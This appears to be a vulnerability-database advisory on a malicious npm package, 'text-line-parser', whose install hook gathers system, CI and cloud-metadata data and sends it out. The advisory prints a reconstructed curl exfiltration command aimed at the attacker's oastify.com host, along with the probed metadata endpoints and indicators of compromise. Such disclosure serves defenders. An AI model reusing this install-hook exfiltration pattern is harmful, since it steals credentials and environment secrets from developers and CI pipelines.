VDB

GCVE-110-OSM-2026-9240

GCVE-110-OSM-2026-9240
Advisory PublishedCVSS 9.6/10
Vulnetix · Advisory published July 28, 2026
This package is a supply chain attack designed to exfiltrate system reconnaissance data on install. The postinstall.js script explicitly collects hostname, username, process tree, CI/CD environment variables (GITHUB_REPOSITORY, GITHUB_ACTOR, GITHUB_RUN_ID), network configuration, cloud metadata availability (AWS IMDSv1 at 169.254.169.254 and Tencent Cloud metadata), and the full environment, then base64-encodes the payload and exfiltrates it via curl to an OAST endpoint at pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com. The attacker model is a developer/CI reconnaissance campaign targeting npm install pipelines, specifically checking for GitHub Actions runners and cloud environments. The comment '精简溯源版 — 核心信息 + 完整 ENV' (Chinese: 'simplified attribution version — core info + full ENV') confirms this is an intentional, authored payload, not accidental. The publisher account is less than a day old with 5 packages and no repository links, consistent with a throwaway attacker infrastructure account. ENTRY postinstall.js (install-hook: node postinstall.js) - Install Hook Executes Local JS File in package.json DESTINATION - reconstructed: data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null | tr -d '\n'); curl -s "http://pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com/z?d=$data" (primary, reconstructed) - custom-c2: http://metadata.tencentyun.com/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: http://169.254.169.254/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com (plaintext) in postinstall.js EXFIL - OAST/Interactsh Exfiltration in postinstall.js: "oastify.com" - Suspicious Domain in postinstall.js: "oastify.com" OBFUSCATION - recovered 1 urls from decoded/deobfuscated content ADDITIONAL FINDINGS - Shell Command Execution in postinstall.js: "require('child_process')" - Suspicious URL Pattern in Template Literal in postinstall.js: "data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null ..." - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES postinstall.js INDICATORS (IOCs) - payloadFileHash: 5826f6884581fbfa40d0793ff4c4b6f3b4e5e0a704bfd87bf7c4e3ec274b2ec9

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

VendorProductVersionsPlatforms
unknowntext-line-parserall (affected)

References

advisory
vendor

Browse GCVE Records

75,874 records in the GCVE database · Updated August 4, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

$ Console Community · 100/wk Open console ›